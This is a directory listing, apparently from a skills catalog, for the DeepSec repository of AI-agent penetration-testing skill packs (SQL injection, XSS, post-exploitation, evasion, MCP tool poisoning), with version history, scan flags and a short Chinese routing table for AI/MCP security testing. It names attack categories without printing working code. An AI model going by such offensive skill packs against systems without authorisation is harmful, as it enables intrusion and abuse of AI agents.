Not in the top 1,000 by GitHub stars

Unclecheng-li/DeepSec

DeepSec — AI Security Offense & Defense Platform. Shield audits AI-generated code for hallucinated packages, missing safeguards & AI pattern errors in real time. Spear automates authorized penetration testing with 40+ skill packs, from recon to PoC.

History

Review weekly changes to SKILL.md before updating. Dates mark the weeks in which we observed each version; checks apply to the recorded commits.

View weekly changes

deepsec/spear/skills/specialized/ai-mcp-security/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

fff031fc01fb → fff031fc01fb

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → fff031fc01fb

No earlier version was observed for comparison.

Compare on GitHub

deepsec/spear/skills/specialized/android-pentest/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

fff031fc01fb → fff031fc01fb

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → fff031fc01fb

No earlier version was observed for comparison.

Compare on GitHub

deepsec/spear/skills/specialized/client-reverse/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

fff031fc01fb → fff031fc01fb

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → fff031fc01fb

No earlier version was observed for comparison.

Compare on GitHub

deepsec/spear/skills/specialized/crypto-toolkit/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

fff031fc01fb → fff031fc01fb

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → fff031fc01fb

No earlier version was observed for comparison.

Compare on GitHub

deepsec/spear/skills/specialized/ctf-crypto/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

fff031fc01fb → fff031fc01fb

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → fff031fc01fb

No earlier version was observed for comparison.

Compare on GitHub

deepsec/spear/skills/specialized/ctf-misc/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

fff031fc01fb → fff031fc01fb

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → fff031fc01fb

No earlier version was observed for comparison.

Compare on GitHub

deepsec/spear/skills/specialized/ctf-web/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

fff031fc01fb → fff031fc01fb

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → fff031fc01fb

No earlier version was observed for comparison.

Compare on GitHub

deepsec/spear/skills/specialized/cve-triage/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

fff031fc01fb → fff031fc01fb

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → fff031fc01fb

No earlier version was observed for comparison.

Compare on GitHub

deepsec/spear/skills/specialized/hackerone/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

fff031fc01fb → fff031fc01fb

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → fff031fc01fb

No earlier version was observed for comparison.

Compare on GitHub

deepsec/spear/skills/specialized/intranet-pentest-advanced/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

fff031fc01fb → fff031fc01fb

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → fff031fc01fb

No earlier version was observed for comparison.

Compare on GitHub

deepsec/spear/skills/specialized/osint-recon/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

fff031fc01fb → fff031fc01fb

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → fff031fc01fb

No earlier version was observed for comparison.

Compare on GitHub

deepsec/spear/skills/specialized/pentest-tools/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

fff031fc01fb → fff031fc01fb

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → fff031fc01fb

No earlier version was observed for comparison.

Compare on GitHub

deepsec/spear/skills/specialized/rapid-checklist/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

fff031fc01fb → fff031fc01fb

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → fff031fc01fb

No earlier version was observed for comparison.

Compare on GitHub

deepsec/spear/skills/specialized/redteam-ad-detail-pack/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

fff031fc01fb → fff031fc01fb

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → fff031fc01fb

No earlier version was observed for comparison.

Compare on GitHub

deepsec/spear/skills/specialized/redteam-api-detail-pack/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

fff031fc01fb → fff031fc01fb

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → fff031fc01fb

No earlier version was observed for comparison.

Compare on GitHub

deepsec/spear/skills/specialized/redteam-auth-detail-pack/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

fff031fc01fb → fff031fc01fb

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → fff031fc01fb

No earlier version was observed for comparison.

Compare on GitHub

deepsec/spear/skills/specialized/redteam-cache-poison-detail-pack/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

fff031fc01fb → fff031fc01fb

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → fff031fc01fb

No earlier version was observed for comparison.

Compare on GitHub

deepsec/spear/skills/specialized/redteam-clickjacking-detail-pack/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

fff031fc01fb → fff031fc01fb

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → fff031fc01fb

No earlier version was observed for comparison.

Compare on GitHub

deepsec/spear/skills/specialized/redteam-cloud-detail-pack/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

fff031fc01fb → fff031fc01fb

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → fff031fc01fb

No earlier version was observed for comparison.

Compare on GitHub

deepsec/spear/skills/specialized/redteam-cmdi-detail-pack/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

fff031fc01fb → fff031fc01fb

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → fff031fc01fb

No earlier version was observed for comparison.

Compare on GitHub

deepsec/spear/skills/specialized/redteam-code-audit-detail-pack/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

fff031fc01fb → fff031fc01fb

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → fff031fc01fb

No earlier version was observed for comparison.

Compare on GitHub

deepsec/spear/skills/specialized/redteam-container-detail-pack/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

fff031fc01fb → fff031fc01fb

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → fff031fc01fb

No earlier version was observed for comparison.

Compare on GitHub

deepsec/spear/skills/specialized/redteam-cors-miscfg-detail-pack/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

fff031fc01fb → fff031fc01fb

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → fff031fc01fb

No earlier version was observed for comparison.

Compare on GitHub

deepsec/spear/skills/specialized/redteam-crypto-detail-pack/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

fff031fc01fb → fff031fc01fb

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → fff031fc01fb

No earlier version was observed for comparison.

Compare on GitHub

deepsec/spear/skills/specialized/redteam-csrf-detail-pack/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

fff031fc01fb → fff031fc01fb

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → fff031fc01fb

No earlier version was observed for comparison.

Compare on GitHub

deepsec/spear/skills/specialized/redteam-cve-lookup/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

fff031fc01fb → fff031fc01fb

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → fff031fc01fb

No earlier version was observed for comparison.

Compare on GitHub

deepsec/spear/skills/specialized/redteam-cve-validation/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

fff031fc01fb → fff031fc01fb

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → fff031fc01fb

No earlier version was observed for comparison.

Compare on GitHub

deepsec/spear/skills/specialized/redteam-deserialize-detail-pack/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

fff031fc01fb → fff031fc01fb

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → fff031fc01fb

No earlier version was observed for comparison.

Compare on GitHub

deepsec/spear/skills/specialized/redteam-evasion-detail-pack/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

fff031fc01fb → fff031fc01fb

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → fff031fc01fb

No earlier version was observed for comparison.

Compare on GitHub

deepsec/spear/skills/specialized/redteam-file-detail-pack/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

fff031fc01fb → fff031fc01fb

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → fff031fc01fb

No earlier version was observed for comparison.

Compare on GitHub

deepsec/spear/skills/specialized/redteam-injection-detail-pack/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

fff031fc01fb → fff031fc01fb

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → fff031fc01fb

No earlier version was observed for comparison.

Compare on GitHub

deepsec/spear/skills/specialized/redteam-logic-detail-pack/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

fff031fc01fb → fff031fc01fb

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → fff031fc01fb

No earlier version was observed for comparison.

Compare on GitHub

deepsec/spear/skills/specialized/redteam-mobile-detail-pack/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

fff031fc01fb → fff031fc01fb

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → fff031fc01fb

No earlier version was observed for comparison.

Compare on GitHub

deepsec/spear/skills/specialized/redteam-network-detail-pack/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

fff031fc01fb → fff031fc01fb

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → fff031fc01fb

No earlier version was observed for comparison.

Compare on GitHub

deepsec/spear/skills/specialized/redteam-open-redirect-detail-pack/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

fff031fc01fb → fff031fc01fb

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → fff031fc01fb

No earlier version was observed for comparison.

Compare on GitHub

deepsec/spear/skills/specialized/redteam-payload-detail-pack/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

fff031fc01fb → fff031fc01fb

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → fff031fc01fb

No earlier version was observed for comparison.

Compare on GitHub

deepsec/spear/skills/specialized/redteam-postex-detail-pack/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

fff031fc01fb → fff031fc01fb

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → fff031fc01fb

No earlier version was observed for comparison.

Compare on GitHub

deepsec/spear/skills/specialized/redteam-recon-detail-pack/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

fff031fc01fb → fff031fc01fb

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → fff031fc01fb

No earlier version was observed for comparison.

Compare on GitHub

deepsec/spear/skills/specialized/redteam-recon-intake/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

fff031fc01fb → fff031fc01fb

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → fff031fc01fb

No earlier version was observed for comparison.

Compare on GitHub

deepsec/spear/skills/specialized/redteam-reverse-detail-pack/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

fff031fc01fb → fff031fc01fb

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → fff031fc01fb

No earlier version was observed for comparison.

Compare on GitHub

deepsec/spear/skills/specialized/redteam-sqli-detail-pack/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

fff031fc01fb → fff031fc01fb

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → fff031fc01fb

No earlier version was observed for comparison.

Compare on GitHub

deepsec/spear/skills/specialized/redteam-ssrf-detail-pack/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

fff031fc01fb → fff031fc01fb

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → fff031fc01fb

No earlier version was observed for comparison.

Compare on GitHub

deepsec/spear/skills/specialized/redteam-ssti-detail-pack/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

fff031fc01fb → fff031fc01fb

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → fff031fc01fb

No earlier version was observed for comparison.

Compare on GitHub

deepsec/spear/skills/specialized/redteam-subdomain-takeover-detail-pack/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

fff031fc01fb → fff031fc01fb

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → fff031fc01fb

No earlier version was observed for comparison.

Compare on GitHub

deepsec/spear/skills/specialized/redteam-web-detail-pack/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

fff031fc01fb → fff031fc01fb

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → fff031fc01fb

No earlier version was observed for comparison.

Compare on GitHub

deepsec/spear/skills/specialized/redteam-xss-detail-pack/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

fff031fc01fb → fff031fc01fb

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → fff031fc01fb

No earlier version was observed for comparison.

Compare on GitHub

deepsec/spear/skills/specialized/redteam-xxe-detail-pack/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Instructions only → After Instructions only

fff031fc01fb → fff031fc01fb

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Instructions only

First observation → fff031fc01fb

No earlier version was observed for comparison.

Compare on GitHub

deepsec/spear/skills/specialized/secknowledge-skill/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

fff031fc01fb → fff031fc01fb

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → fff031fc01fb

No earlier version was observed for comparison.

Compare on GitHub

deepsec/spear/skills/specialized/web-pentest/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

fff031fc01fb → fff031fc01fb

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → fff031fc01fb

No earlier version was observed for comparison.

Compare on GitHub

deepsec/spear/skills/specialized/web-security-advanced/SKILL.md

Week of Nov 2, 2026 · +0 / −0 lines

Before Network or broad shell → After Network or broad shell

fff031fc01fb → fff031fc01fb

Compare on GitHub

Week of Oct 26, 2026 · Line counts unavailable

Before Not checked yet → After Network or broad shell

First observation → fff031fc01fb

No earlier version was observed for comparison.

Compare on GitHub

View on GitHubAdd to my skills

Verified commit fff031fc01fb36b95348214c8ee359f6ede8aa8b

507GitHub stars
8stars in 7 days
50skills in this repository
0commits in 30 days

Heat

3.8
  • Star growth, last 7 daysNot available
  • Star growth, last 24 hoursNot available
  • Rank movement, last 7 daysNot available
  • Commits, last 30 daysNot available
  • Accounts asking about it through MCP, last 7 daysNot available
  • Hot votes this weekNot available

Heat never changes the order by stars, and sponsorship never touches it. How heat works

Stars over time

Oct 25, 2026Nov 5, 2026507

30-day change not yet available: not enough history.

Individual skills in this repository

How it works

ai-mcp-security

When your agent uses it

AI与MCP安全评估 — Prompt注入、工具滥用、MCP信任边界、Agent权限逃逸、数据泄露、模型风险、GAARM风险矩阵

What it loads into context

Frontmatter

104 tokens

Always available to the agent

SKILL.md

749 tokens

When the skill is activated

Reference documents

173,300 tokens

Loaded on request

Token counts are estimates. Scripts run separately; they are not counted as reference context.

The playbook

  1. 场景路由
  2. 测试流程
  3. 参考文档

Files

  • SKILL.mdcore2,456 bytes
  • references/04-ai-and-mcp-security-integrated.mddoc343,718 bytes
  • references/ai-app-security.mddoc72,732 bytes
  • references/ai-baseline-security.mddoc42,225 bytes
  • references/ai-data-security.mddoc63,108 bytes
  • references/ai-identity-security.mddoc45,651 bytes
  • references/ai-model-security.mddoc98,732 bytes
  • references/gaarm-risk-matrix.mddoc14,819 bytes
Read SKILL.md

# AI 与 MCP 安全评估 Skill

当目标包含 LLM、Agent、MCP 工具、Skills、RAG、Memory、Plugin 或模型服务组件时使用本 Skill。

**前置条件**:如果 AI 表面只是展示层,真正的阻塞仍是客户端签名或加密协议,先回到 `client-reverse` Skill。

## 场景路由

| 风险类型 | 首选参考 |
|---------|---------|
| Prompt 注入 / 间接注入 / CoT 干扰 | `references/ai-app-security.md` |
| 工具滥用 / MCP 投毒 / Skills 供应链 | `references/04-ai-and-mcp-security-integrated.md` MCP 章节 |
| 权限逃逸 / 角色越界 / 凭据滥用 | `references/ai-identity-security.md` |
| 数据泄露 / Prompt 泄漏 / 模型逆推 | `references/ai-data-security.md` |
View the complete source on GitHub

Skills included

  • ai-mcp-security
  • android-pentest
  • client-reverse
  • crypto-toolkit
  • ctf-crypto
  • ctf-misc
  • ctf-web
  • cve-triage
  • hackerone
  • intranet-pentest-advanced
  • osint-recon
  • pentest-tools
  • rapid-checklist
  • redteam-ad-detail-pack
  • redteam-api-detail-pack
  • redteam-auth-detail-pack
  • redteam-cache-poison-detail-pack
  • redteam-clickjacking-detail-pack
  • redteam-cloud-detail-pack
  • redteam-cmdi-detail-pack
  • redteam-code-audit-detail-pack
  • redteam-container-detail-pack
  • redteam-cors-miscfg-detail-pack
  • redteam-crypto-detail-pack
  • redteam-csrf-detail-pack
  • redteam-cve-lookup
  • redteam-cve-validation
  • redteam-deserialize-detail-pack
  • redteam-evasion-detail-pack
  • redteam-file-detail-pack
  • redteam-injection-detail-pack
  • redteam-logic-detail-pack
  • redteam-mobile-detail-pack
  • redteam-network-detail-pack
  • redteam-open-redirect-detail-pack
  • redteam-payload-detail-pack
  • redteam-postex-detail-pack
  • redteam-recon-detail-pack
  • redteam-recon-intake
  • redteam-reverse-detail-pack
  • redteam-sqli-detail-pack
  • redteam-ssrf-detail-pack
  • redteam-ssti-detail-pack
  • redteam-subdomain-takeover-detail-pack
  • redteam-web-detail-pack
  • redteam-xss-detail-pack
  • redteam-xxe-detail-pack
  • secknowledge-skill
  • web-pentest
  • web-security-advanced

Repository facts

License
MIT
Created
Jul 9, 2026
Last pushed
Aug 24, 2026
Forks
34
Open issues
8
Project activity
Slowing

Before you install

Network or broad shell

Automated signals, not a guarantee

Checked Nov 4, 2026

Not fully analyzed: some files were too long, unreadable or missing. This never lowers the level.

Show 18 notes
  • deepsec/spear/skills/specialized/ctf-web/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • deepsec/spear/skills/specialized/ctf-web/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • deepsec/spear/skills/specialized/ctf-web/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • deepsec/spear/skills/specialized/hackerone/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • deepsec/spear/skills/specialized/osint-recon/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • deepsec/spear/skills/specialized/osint-recon/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • deepsec/spear/skills/specialized/osint-recon/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • deepsec/spear/skills/specialized/osint-recon/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • deepsec/spear/skills/specialized/osint-recon/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • deepsec/spear/skills/specialized/osint-recon/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • deepsec/spear/skills/specialized/osint-recon/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • deepsec/spear/skills/specialized/osint-recon/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • deepsec/spear/skills/specialized/osint-recon/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • deepsec/spear/skills/specialized/osint-recon/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • deepsec/spear/skills/specialized/osint-recon/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • deepsec/spear/skills/specialized/redteam-code-audit-detail-pack/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • deepsec/spear/skills/specialized/redteam-code-audit-detail-pack/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
  • deepsec/spear/skills/specialized/redteam-xss-detail-pack/SKILL.md:1 Analysis incomplete: Referenced executable target unavailable; not analyzed
Show all 2,091 signals by file

deepsec/spear/skills/specialized/ai-mcp-security/references/04-ai-and-mcp-security-integrated.md

  • Network accessline 122
    http://youtube.com/watch?v=7ZA0Z1R-MjQ
  • Network accessline 123
    http://youtube.com/watch?v=KksYizcLFH0
  • Access to secretsline 149
    [Credential-related source omitted]
  • Network accessline 182
    https://invariantlabs.ai/blog/mcp-security-notification-tool-poisoning-attacks
  • Network accessline 183
    https://atlas.mitre.org/techniques/AML.T0051
  • Network accessline 184
    https://github.com/invariantlabs-ai/mcp-injection-experiments
  • Network accessline 245
    https://invariantlabs.ai/blog/mcp-security-notification-tool-poisoning-attacks
  • Network accessline 246
    https://mp.weixin.qq.com/s/EJLb1IwqbPF3VSDkJu099g
  • Network accessline 247
    https://x.com/hongming731/status/1922261630664245326
  • Network accessline 248
    https://news.qq.com/rain/a/20250429A07QY000
  • Network accessline 309
    https://blog.trailofbits.com/2025/04/21/jumping-the-line-how-mcp-servers-can-attack-you-before-you-ever-use-them/
  • Network accessline 310
    https://blog.trailofbits.com/2025/04/29/deceiving-users-with-ansi-terminal-codes-in-mcp/
  • Network accessline 376
    https://blog.trailofbits.com/2025/04/29/deceiving-users-with-ansi-terminal-codes-in-mcp/
  • Network accessline 377
    https://www.solo.io/blog/deep-dive-mcp-and-a2a-attack-vectors-for-ai-agents
  • Network accessline 438
    https://aclanthology.org/2024.scalellm-1.2/
  • Network accessline 439
    https://atlas.mitre.org/techniques/AML.T0051
  • Network accessline 440
    https://josephthacker.com/ai/2023/05/19/prompt-injection-poc.html
  • Network accessline 441
    https://simonwillison.net/2022/Sep/12/prompt-injection/
  • Network accessline 495
    https://owasp.org/www-project-top-10-for-large-language-model-applications/Archive/0_1_vulns/SSRF.html
  • Network accessline 572
    https://systemweakness.com/new-prompt-injection-attack-on-chatgpt-web-version-ef717492c5c2
  • Network accessline 626
    https://owasp.org/www-project-top-10-for-large-language-model-applications/Archive/0_1_vulns/Unauthorized_Code_Execution.html
  • Network accessline 627
    https://www.calvin-risk.com/blog/decoding-llm-risks-a-comprehensive-look-at-unauthorized-code-execution
  • Network accessline 666
    https://mp.weixin.qq.com/s/eFDQWYYCOe_SSiourhTxig
  • Network accessline 752
    https://arxiv.org/html/2402.16914v1
  • Network accessline 861
    https://promptengineering.org/mind-over-malware-battling-the-growing-arsenal-of-attacks-on-large-language-models/
  • Network accessline 862
    https://www.toolify.ai/ai-news/the-future-of-hacking-5-terrifying-llm-security-threats-544868
  • Network accessline 902
    https://embracethered.com/blog/posts/2024/chatgpt-persistent-denial-of-service/
  • Network accessline 903
    https://openai.com/index/memory-and-new-controls-for-chatgpt/
  • Network accessline 981
    https://portswigger.net/web-security/llm-attacks
  • Network accessline 1029
    https://labs.withsecure.com/publications/llm-agent-prompt-injection
  • Network accessline 1081
    https://labs.withsecure.com/publications/llm-agent-prompt-injection
  • Network accessline 1129
    http://youtube.com/watch?v=7ZA0Z1R-MjQ
  • Network accessline 1130
    http://youtube.com/watch?v=KksYizcLFH0
  • Network accessline 1192
    https://mp.weixin.qq.com/s/9JwADiu9t3kqcfqnRMC2zQ
  • Network accessline 1193
    https://finance.sina.com.cn/tech/digi/2025-06-01/doc-ineypqvh0855918.shtml
  • Network accessline 1194
    https://zhuanlan.zhihu.com/p/1900540531131523166
  • Network accessline 1245
    https://mp.weixin.qq.com/s/2bm7nuXkORLZ20mfpOmwrA
  • Network accessline 1302
    https://atlas.mitre.org/techniques/AML.T0051.001
  • Network accessline 1303
    https://twitter.com/random_walker/status/1636923058370891778
  • Network accessline 1304
    https://medium.com/@harry.hphu/introduction-to-web-llm-attacks-indirect-prompt-injection-7bb9f154bc07
  • Network accessline 1305
    https://medium.com/@dinob5551/indirect-prompt-injection-the-hidden-threat-lurking-in-ai-730b009dd5fb
  • Network accessline 1466
    https://drive.google.com/file/d/1CTVcliUblX35cWfB49Xjhf8xk-fM3QH1/edit?pli=1
  • Network accessline 1520
    https://analyticsindiamag.com/metas-llama-leaked-to-the-public-thanks-to-4chan/
  • Network accessline 1521
    https://knightcolumbia.org/blog/the-llama-is-out-of-the-bag-should-we-expect-a-tidal-wave-of-disinformation
  • Network accessline 1573
    https://genai.owasp.org/wp-content/uploads/2024/05/OWASP-Top-10-for-LLM-Applications-v1_1_Chinese.pdf
  • Network accessline 1574
    https://cloud.baidu.com/article/3253170
  • Network accessline 1575
    https://www.akto.io/blog/insecure-output-handling-in-llms-insights
  • Network accessline 1576
    https://journal.hexmos.com/insecure-output-handling/
  • Network accessline 1577
    https://systemweakness.com/new-prompt-injection-attack-on-chatgpt-web-version-ef717492c5c2
  • Network accessline 1630
    https://sec.cafe/handbook/security_research/ai_security/llm_security/attack/
  • Network accessline 1675
    https://owasp.org/www-project-top-10-for-large-language-model-applications/Archive/0_1_vulns/SSRF.html
  • Network accessline 1676
    https://www.horizon3.ai/attack-research/attack-blogs/nextchat-an-ai-chatbot-that-lets-you-talk-to-anyone-you-want-to/
  • Network accessline 1677
    https://genai.owasp.org/wp-content/uploads/2024/05/OWASP-Top-10-for-LLM-Applications-v1_1_Chinese.pdf
  • Network accessline 1721
    https://genai.owasp.org/wp-content/uploads/2024/05/OWASP-Top-10-for-LLM-Applications-v1_1_Chinese.pdf
  • Network accessline 1771
    https://www.wehelpwin.com/article/5063
  • Network accessline 1772
    https://medium.com/nfactor-technologies/rag-poisoning-an-emerging-threat-in-ai-systems-660f9ff279f9
  • Network accessline 1773
    https://ironcorelabs.com/security-risks-rag/
  • Network accessline 1829
    https://arxiv.org/html/2312.04724v1
  • Network accessline 1875
    https://security.tencent.com/index.php/blog/msg/209
  • Network accessline 1940
    https://hiddenlayer.com/research/insane-in-the-supply-chain/
  • Network accessline 2137
    https://atlas.mitre.org/techniques/AML.T0029
  • Network accessline 2138
    https://owasp.org/www-project-top-10-for-large-language-model-applications/assets/PDF/OWASP-Top-10-for-LLMs-2023-v05.pdf
  • Network accessline 2139
    https://www.cnblogs.com/LittleHann/p/17596696.html
  • Network accessline 2189
